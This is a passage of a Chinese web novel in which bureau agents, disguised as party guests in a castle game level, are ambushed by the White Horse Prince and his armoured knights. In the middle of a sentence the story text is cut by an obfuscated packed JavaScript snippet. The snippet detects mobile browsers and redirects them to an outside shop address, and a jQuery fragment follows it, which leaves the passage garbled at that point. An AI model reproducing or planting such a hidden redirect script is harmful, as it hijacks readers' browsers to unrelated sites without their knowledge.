特事局的众人这才放松下来。 他们大摇大摆的走在城堡中,遇到的点心人都朝他们鞠躬行礼。 还别说,这种感觉莫名有点爽。 卢长卿一行人越往前走,视野也就越开阔,见到的仆从也就越多。 他们也不知道自己现在在哪里,城堡实在是太大了。确定那些仆从没有一个能识别他们的真实身份后,又谨慎的多转了几圈。 这才找了个看起来性格老实的点心人问路。 那是个黑森林蛋糕人,粗陋的线条在它看起来让人非常有食欲的脸上勾勒出五官。 它听到这群客人说想要去玫瑰园参观时,那张由颜文字组成的脸上露出个带有歉意的笑容:“尊贵的小姐们,玫瑰园是玫瑰王子自己亲手打理的花园,是不对外开放的。” “你们要实在想要看,可以从右侧的这个楼梯下去,左转去到二楼的露台,在那里能够看到玫瑰园的景色。” 卢长卿点了点头,他的目光在其他忙忙碌碌的点心人中掠过,为了不打草惊蛇,就没有像对之前的姜饼人那样蛋糕人出手。 其实到这个时候,特事局众人已经没有刚开始那么紧张了。 目前这个关卡看起来并没有什么太大的危险,也许是因为它只是场域里的第一关的缘故。 只要穿上更衣室提供的衣服,城堡里的NPC就会把你当做来参加宴会的客人,不仅不会攻击你,相反还会对你尊敬有礼。 看来这一关的难度是在如何成为宴会明星上。 特事局的众人心想,幸亏提前从NPC身上套出了三个评委的弱点。 否则真到宴会开始的时候,他们再想要做什么都来不及了。 在离开了那群NPC的视线后,特事局的众人就彻底放松了表情管理,他们看着对方身上穿着的裙子,纷纷露出幸灾乐祸的表情。 有人手贱,还去掐男同事的腰,笑得特别贱,故意尖着嗓子:“小姐!~你的腰为什么这么粗啊?~天啦小姐!你的脸上为什么还长了胡子?~” 被他嘲笑的那个人还没有怎么样,穿在他身上的裙子反而先动了起来—— 那裙子的裙摆是前面短,后面长的设计,只见原本坠在后面的裙摆径直卷成拳头粗的绳子,直接把男同事吊在半空中抽。 特事局其他人不仅不帮忙,还在旁边看热闹:“打得好!” 毕竟是觉醒者,身体素质要比普通人强上不少。 男同事一边惨叫一边哀嚎,中气十足:“救命啊——救命啊——” 特事局的其他人看了半天热闹,才把他救了。 卢长卿让他们老实点,别以为任务简单就完全放松警惕。他的表情有点严肃,作为一名生坤,他隐隐感觉自己有什么地方忽略了。 却又说不上来。 特事局众人从卢长卿的态度中嗅到了些什么。 原本放松的气氛再次紧张起来。 这种说不出是什么的感觉让卢长卿的眉头紧蹙。但他也只能走一步看一步。 他提醒周新宇:“贪离,你到我身边来。” 在特事局其他人玩闹的时候,周新宇就一脸沉默的吊在队伍的末尾。他低着头,也不知道在想什么,与特事局的众人格格不入。 听到卢长卿的话,他的表情露出了一丝迟疑,最后还是走到了卢长卿的身边。 卢长卿一行人严阵以待的从旋转楼梯下来,但是却没有任何事发生。 难道真的是错觉?就在卢长卿拽着周新宇,往前走了没两步,正要走到拐角的时候—— 他突然迅速转身,退了回来。 周新宇就跟在他身后,卢长卿看到的东西他自然也看到了。只见他脸色苍白,他震惊又不解的望向卢长卿—— 是他!他怎么会出现在这里?! 但是特事局的其他人因为视线死角的缘故,根本还不知道发生了什么。 卢长卿朝其他人做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13823861|146358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个手势,把周新宇往其他人身上一推,示意他们带周新宇离开。 这一切都发生在很短的时间内。站在队伍后面的蓝玉根本没有反应过来。 她还茫然着,就感觉手腕一紧,一股力道带着她往相反的方向逃窜。 她一抬头,就看到乐文越的背影。 蓝玉被带得踉踉跄跄,她有些无措的喊着:“师、师父?” 乐文越脸色非常严肃,他扭过头似乎想要对蓝玉说些什么,但是前方不远处传来的声音,让他猛地抬起头。 ——那是铠甲的甲片与甲片发出的金属摩擦声音, 在他们的前方,一个穿着银色铠甲的士兵正从另一头走过来,正正好堵在了前方过道的中间。 乐文越一下子止住脚步,蓝玉在惯性的作用下,又往前多走了几步,才停了下来。 士兵在发现他们后,顿了一下,然后继续朝着他们逼近,乐文越带着蓝玉一步步后退—— 刚刚卢长卿做得那个手势只有一个意思,那就是——逃! 特事局的众人几乎毫不犹豫的就撇下卢长卿朝着不同方向逃窜,这也是他们多次下场域积累出的经验。 但是这些本来是朝不同方向逃窜的特事局人却都遇到了白马骑士团的士兵。 他们在那些士兵的逼迫下,一步步的又退回到原点。 而原处,卢长卿所在位置的正前方,正站着一个穿着银色铠甲,手持长枪的高大男人。 哪怕之前并没有见过,但是他们几乎一眼就认出他就是守卫城堡安全,周新宇所说的三个王子之一——白马王子。 卢长卿听到众人的脚步声,回过头的时候,脸上出现一闪而过的错愕,但很快他又重新恢复了平静。 他嗤笑一声,虽然是在笑,但是谁都能感受到副局这下是真的动了真火。 只见他从脸上摘下墨镜,那双金色的瞳孔像是彻底燃烧起来,所有人都感受到空气中弥漫着一丝灼热。 “这是一点机会都不给了是吧?” 白马王子沉默的望向卢长卿,按理来说,这个副本里的普通NPC,就连姜饼人那些都能有不低的智慧,以他比姜饼人更高一等级的存在,智慧只会高不会低才对。 但此时的他与其说是关卡里的高级NPC,反而更像是一个无差别杀戮的冰冷机器。 他的眼里看不到任何一丝活人拥有的情绪,只有杀戮。 白马王子完全没有理会卢长卿的话,他的回应是把手里的长枪一提——刚刚过来的蓝玉只感觉眼前一阵银光乍碎,无数光线在他的甲片上发生反射,谁能想到装备这么沉重的他,竟然还能有如此快的速度! 等蓝玉好不容易聚焦起视线,就看见那长枪的一端已经逼近卢长卿的胸膛——